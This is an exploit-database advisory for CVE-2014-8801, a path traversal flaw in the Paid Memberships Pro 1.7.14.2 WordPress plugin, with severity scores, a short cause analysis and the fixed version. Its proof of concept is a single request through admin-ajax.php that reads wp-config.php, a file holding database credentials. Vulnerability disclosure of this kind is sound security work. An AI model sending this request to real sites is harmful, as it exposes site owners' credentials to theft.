Paid Memberships Pro 1.7.14.2 Path Traversal

2014.11.21

Credit: Kacper Szurek

Risk: High

Local: No

Remote: Yes

CVE: CVE-2014-8801

CWE: CWE-22

CVSS Base Score: 5/10

Impact Subscore: 2.9/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: None

Availability impact: None

# Exploit Title: Paid Memberships Pro 1.7.14.2 Path Traversal
# Date: 14-10-2014
# Exploit Author: Kacper Szurek - http://security.szurek.pl
# Software Link: https://downloads.wordpress.org/plugin/paid-memberships-pro.1.7.14.2.zip
# Category: webapps
# CVE: CVE-2014-8801
  
1. Description
  
getfile.php is accessible to everyone.
is_admin() is used to check priveleges but because this code is run in context of wp-admin/admin-ajax.php this function always evalute to true.
$_SERVER['REQUEST_URI'] is not escaped.
  
http://security.szurek.pl/paid-memberships-pro-17142-path-traversal.html
  
2. Proof of Concept
  
http://wordpress-url/wp-admin/admin-ajax.php?action=getfile&/../../wp-config.php
  
3. Solution:
  
Update to version 1.7.15
http://downloads.wordpress.org/plugin/paid-memberships-pro.1.7.15.zip
http://www.paidmembershipspro.com/2014/11/critical-security-update-pmpro-v1-7-15/

References:

http://security.szurek.pl/paid-memberships-pro-17142-path-traversal.html

See this note in RAW Version

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Paid Memberships Pro 1.7.14.2 Path Traversal

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